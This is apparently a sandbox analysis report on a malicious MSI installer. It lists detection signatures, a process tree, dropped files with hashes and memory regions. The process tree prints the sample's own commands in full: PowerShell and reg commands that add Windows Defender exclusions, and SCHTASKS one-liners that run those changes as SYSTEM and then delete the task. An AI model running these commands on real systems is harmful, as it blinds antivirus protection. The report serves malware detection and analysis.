Analysis

  • max time kernel
    150s
  • max time network
    150s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    02/08/2026, 02:08

General

  • Target
    install_s0up005.msi
  • Size 7.7MB
  • Sample260802-cktssasbrd
  • SHA256 d04dc6bf6970d7049b6209dcc927616c5f813b9efc136e9265f6e631dcba8843
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Windows security bypass 2 TTPs 10 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Executes dropped EXE 1 IoCs
  • Loads dropped DLL 2 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Badlisted process makes network request 2 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Enumerates connected drives 3 TTPs 46 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Indicator Removal: Clear Persistence 1 TTPs 5 IoCs

    Clear artifacts associated with previously established persistence like scheduletasks on a host.

  • Drops file in System32 directory 7 IoCs
  • Drops file in Program Files directory 9 IoCs
  • Drops file in Windows directory 13 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Event Triggered Execution: Installer Packages 2 TTPs 1 IoCs
  • Executes a command shell one-liner 1 TTPs 5 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Checks SCSI registry key(s) 3 TTPs 5 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Modifies data under HKEY_USERS 9 IoCs
  • Modifies registry class 22 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 5 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: LoadsDriver 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Windows\system32\msiexec.exe
    msiexec.exe /I C:\Users\Admin\AppData\Local\Temp\install_s0up005.msi
    1⤵
    • Enumerates connected drives
    • Event Triggered Execution: Installer Packages
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SetWindowsHookEx
    PID:2916
  • C:\Windows\system32\msiexec.exe
    C:\Windows\system32\msiexec.exe /V
    1⤵
    • Enumerates connected drives
    • Drops file in Windows directory
    • Modifies data under HKEY_USERS
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2160
    • C:\Windows\system32\srtasks.exe
      C:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:2
      2⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:3432
    • C:\Windows\System32\MsiExec.exe
      C:\Windows\System32\MsiExec.exe -Embedding CC9291DA6EDF817B3B1DA711DA107670 E Global\MSI0000
      2⤵
      • Loads dropped DLL
      • Badlisted process makes network request
      • Drops file in System32 directory
      • Modifies data under HKEY_USERS
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of SetWindowsHookEx
      PID:4980
  • C:\Windows\system32\vssvc.exe
    C:\Windows\system32\vssvc.exe
    1⤵
    • Checks SCSI registry key(s)
    • Suspicious use of AdjustPrivilegeToken
    PID:2824
  • C:\Users\Public\0ly8bO\zy8bQo.exe
    "C:\Users\Public\0ly8bO\zy8bQo.exe"
    1⤵
    • Executes dropped EXE
    • Loads dropped DLL
    • Adds Run key to start application
    • Drops file in System32 directory
    • Drops file in Program Files directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:2908
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath 'C:\ProgramData','C:\Users','C:\Program Files (x86)','C:\' -Force
      2⤵
      • Command and Scripting Interpreter: PowerShell
      PID:5584
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\0ly8bO\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
      2⤵
      • Indicator Removal: Clear Persistence
      • Suspicious use of WriteProcessMemory
      PID:5076
      • C:\Windows\system32\schtasks.exe
        SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\0ly8bO\" /t REG_DWORD /d 0 /f"
        3⤵
        • Scheduled Task/Job: Scheduled Task
        PID:1892
      • C:\Windows\system32\schtasks.exe
        SCHTASKS /Run /TN "Task1"
        3⤵
          PID:5264
        • C:\Windows\system32\schtasks.exe
          SCHTASKS /Delete /TN "Task1" /F
          3⤵
            PID:3908
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
          2⤵
          • Indicator Removal: Clear Persistence
          • Suspicious use of WriteProcessMemory
          PID:5808
          • C:\Windows\system32\schtasks.exe
            SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
            3⤵
            • Scheduled Task/Job: Scheduled Task
            PID:3892
          • C:\Windows\system32\schtasks.exe
            SCHTASKS /Run /TN "Task1"
            3⤵
              PID:4792
            • C:\Windows\system32\schtasks.exe
              SCHTASKS /Delete /TN "Task1" /F
              3⤵
                PID:5308
            • C:\Windows\System32\cmd.exe
              "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
              2⤵
              • Indicator Removal: Clear Persistence
              • Suspicious use of WriteProcessMemory
              PID:1952
              • C:\Windows\system32\schtasks.exe
                SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"
                3⤵
                • Scheduled Task/Job: Scheduled Task
                PID:2052
              • C:\Windows\system32\schtasks.exe
                SCHTASKS /Run /TN "Task1"
                3⤵
                  PID:892
                • C:\Windows\system32\schtasks.exe
                  SCHTASKS /Delete /TN "Task1" /F
                  3⤵
                    PID:6100
                • C:\Windows\System32\cmd.exe
                  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                  2⤵
                  • Indicator Removal: Clear Persistence
                  • Suspicious use of WriteProcessMemory
                  PID:2580
                  • C:\Windows\system32\schtasks.exe
                    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"
                    3⤵
                    • Scheduled Task/Job: Scheduled Task
                    PID:5280
                  • C:\Windows\system32\schtasks.exe
                    SCHTASKS /Run /TN "Task1"
                    3⤵
                      PID:1632
                    • C:\Windows\system32\schtasks.exe
                      SCHTASKS /Delete /TN "Task1" /F
                      3⤵
                        PID:1600
                    • C:\Windows\System32\cmd.exe
                      "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                      2⤵
                      • Indicator Removal: Clear Persistence
                      • Suspicious use of WriteProcessMemory
                      PID:3432
                      • C:\Windows\system32\schtasks.exe
                        SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"
                        3⤵
                        • Scheduled Task/Job: Scheduled Task
                        PID:4916
                      • C:\Windows\system32\schtasks.exe
                        SCHTASKS /Run /TN "Task1"
                        3⤵
                          PID:2928
                        • C:\Windows\system32\schtasks.exe
                          SCHTASKS /Delete /TN "Task1" /F
                          3⤵
                            PID:356
                        • C:\Program Files (x86)\546e8W\LSbcXO.exe
                          "C:\Program Files (x86)\546e8W\LSbcXO.exe"
                          2⤵
                            PID:5868
                        • C:\Windows\system32\cmd.exe
                          "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\0ly8bO" /t REG_DWORD /d 0 /f
                          1⤵
                          • Executes a command shell one-liner
                          • Suspicious use of WriteProcessMemory
                          PID:4844
                          • C:\Windows\System32\reg.exe
                            reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\0ly8bO" /t REG_DWORD /d 0 /f
                            2⤵
                            • Windows security bypass
                            PID:1232
                        • C:\Windows\system32\cmd.exe
                          cmd.exe
                          1⤵
                            PID:6112
                          • C:\Windows\system32\cmd.exe
                            "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
                            1⤵
                            • Executes a command shell one-liner
                            • Suspicious use of WriteProcessMemory
                            PID:1928
                            • C:\Windows\System32\reg.exe
                              reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
                              2⤵
                              • Windows security bypass
                              PID:2136
                          • C:\Windows\system32\cmd.exe
                            "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
                            1⤵
                            • Executes a command shell one-liner
                            • Suspicious use of WriteProcessMemory
                            PID:3240
                            • C:\Windows\System32\reg.exe
                              reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
                              2⤵
                              • Windows security bypass
                              PID:5968
                          • C:\Windows\system32\cmd.exe
                            "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
                            1⤵
                            • Executes a command shell one-liner
                            • Suspicious use of WriteProcessMemory
                            PID:2252
                            • C:\Windows\System32\reg.exe
                              reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
                              2⤵
                              • Windows security bypass
                              PID:3076
                          • C:\Windows\system32\cmd.exe
                            "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
                            1⤵
                            • Executes a command shell one-liner
                            • Suspicious use of WriteProcessMemory
                            PID:2836
                            • C:\Windows\System32\reg.exe
                              reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
                              2⤵
                              • Windows security bypass
                              PID:6036

                          Network

                                MITRE ATT&CK Enterprise v16

                                Replay Monitor

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                                Downloads

                                e59a34c.rbs

                                • Path C:\Config.Msi\e59a34c.rbs
                                • Size 7KB
                                • SHA256 60e92491f88ba825b0b5041f89ed3b756272e8feec9e5baae5c76fda3b517939
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                LSbcXO.exe

                                • Path C:\Program Files (x86)\546e8W\LSbcXO.exe
                                • Size 145KB
                                • SHA256 6d6ba2bc9ad414837826f7278bc3e0116f1aeda02d0c2284ed65819f5d9180a8
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                XPSPLOG.dll

                                • Path C:\Program Files (x86)\546e8W\XPSPLOG.dll
                                • Size 4.6MB
                                • SHA256 0477dc511cbfc2b97aca2519c705bbe7a87f038aedbf27735f791fe963fcde0c
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                image.png

                                • Path C:\Program Files (x86)\546e8W\image.png
                                • Size 5.0MB
                                • SHA256 b11419bada7fd040bb3fc50f71b381ede3d48467a91f09d405762f4b7f187bb8
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                thumbs.db

                                • Path C:\Program Files (x86)\546e8W\thumbs.db
                                • Size 64KB
                                • SHA256 82203537f494097773c8c8dd3597230aeff2cd25b46dd78b40ccfdc136870d24
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                UxEnhance64.dll

                                • Path C:\Users\Public\0ly8bO\UxEnhance64.dll
                                • Size 3.1MB
                                • SHA256 544ece966d6539ab1e50c5204b092f18c59a8ec6d395a714d24473e7d70f19b6
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                adoresd.dat

                                • Path C:\Users\Public\0ly8bO\adoresd.dat
                                • Size 4.7MB
                                • SHA256 282703016ff5ba8809188662bfc8e9e37bf04d918d0aa8ac0697d9da9019018a
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                msadox.tb

                                • Path C:\Users\Public\0ly8bO\msadox.tb
                                • Size 8KB
                                • SHA256 fd9dcf3e3364d0cb45fab1724e72de3c807bd890a3b91442046f000712fa8e87
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                zy8bQo.exe

                                • Path C:\Users\Public\0ly8bO\zy8bQo.exe
                                • Size 135KB
                                • SHA256 676a2a7b94ca2f8ec76352ee656e4d075bb342bd7ad6efbc7c19c060001eace7
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                MSIA8DA.tmp

                                • Path C:\Windows\Installer\MSIA8DA.tmp
                                • Size 7.6MB
                                • SHA256 1f6b8a0b0fb5bc11fa65065d8c056edf4a03f2f1cd7bd2d998dd3c9395d1e57f
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                e59a34b.msi

                                • Path C:\Windows\Installer\e59a34b.msi
                                • Size 7.7MB
                                • SHA256 d04dc6bf6970d7049b6209dcc927616c5f813b9efc136e9265f6e631dcba8843
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                metadata-2

                                • Path \??\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\System Volume Information\SPP\metadata-2
                                • Size 26.1MB
                                • SHA256 fe716551d804158d7deddbe7184d7f18216f985150df33b2cf6b629b12bf5b38
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                {b121075b-4838-45d7-9b63-1752644b50c6}_OnDiskSnapshotProp

                                • Path \??\Volume{cba08e50-0000-0000-0000-d08302000000}\System Volume Information\SPP\OnlineMetadataCache\{b121075b-4838-45d7-9b63-1752644b50c6}_OnDiskSnapshotProp
                                • Size 6KB
                                • SHA256 9ad907577cb000acc48e51a37d1c414331952f606964b769d7eaeb5932db5bbf
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                memory/2908-75-0x0000019204070000-0x0000019204901000-memory.dmp

                                memory/2908-88-0x0000019204070000-0x0000019204901000-memory.dmp

                                memory/2908-61-0x0000019204070000-0x0000019204901000-memory.dmp

                                memory/2908-63-0x00007FFC3F5E0000-0x00007FFC3F5E2000-memory.dmp

                                memory/2908-64-0x0000019204070000-0x0000019204901000-memory.dmp

                                memory/2908-68-0x0000019204070000-0x0000019204901000-memory.dmp

                                memory/2908-69-0x0000019204070000-0x0000019204901000-memory.dmp

                                memory/2908-70-0x0000019204070000-0x0000019204901000-memory.dmp

                                memory/2908-71-0x0000019204070000-0x0000019204901000-memory.dmp

                                memory/2908-55-0x00007FFC3F5D0000-0x00007FFC3F5D2000-memory.dmp

                                memory/2908-82-0x0000019204910000-0x000001920499A000-memory.dmp

                                memory/2908-83-0x0000019204910000-0x000001920499A000-memory.dmp

                                memory/2908-81-0x00000192035F0000-0x000001920363E000-memory.dmp

                                memory/2908-86-0x0000019204910000-0x000001920499A000-memory.dmp

                                memory/2908-85-0x0000019204910000-0x000001920499A000-memory.dmp

                                memory/2908-56-0x00007FFC1BB20000-0x00007FFC1C03E000-memory.dmp

                                memory/2908-90-0x0000019204070000-0x0000019204901000-memory.dmp

                                memory/2908-91-0x0000019204070000-0x0000019204901000-memory.dmp

                                memory/4980-13-0x00007FFC1BA00000-0x00007FFC1C034000-memory.dmp

                                memory/4980-38-0x00007FFC25B90000-0x00007FFC25BA2000-memory.dmp

                                memory/4980-16-0x00007FFC25B90000-0x00007FFC25BA2000-memory.dmp

                                memory/4980-12-0x00007FFC3F5D0000-0x00007FFC3F5D2000-memory.dmp

                                memory/5584-100-0x00000283318C0000-0x00000283318DE000-memory.dmp

                                memory/5584-101-0x00000283318E0000-0x0000028331992000-memory.dmp

                                memory/5584-102-0x0000028331670000-0x000002833167A000-memory.dmp

                                memory/5584-97-0x0000028331690000-0x00000283316B2000-memory.dmp

                                memory/5868-184-0x0000000000E30000-0x0000000000E31000-memory.dmp

                                memory/5868-189-0x0000000003500000-0x0000000003D07000-memory.dmp

                                memory/5868-191-0x0000000000E50000-0x0000000000E51000-memory.dmp

                                memory/5868-192-0x0000000003500000-0x0000000003D07000-memory.dmp

                                memory/5868-186-0x0000000074690000-0x0000000074DDA000-memory.dmp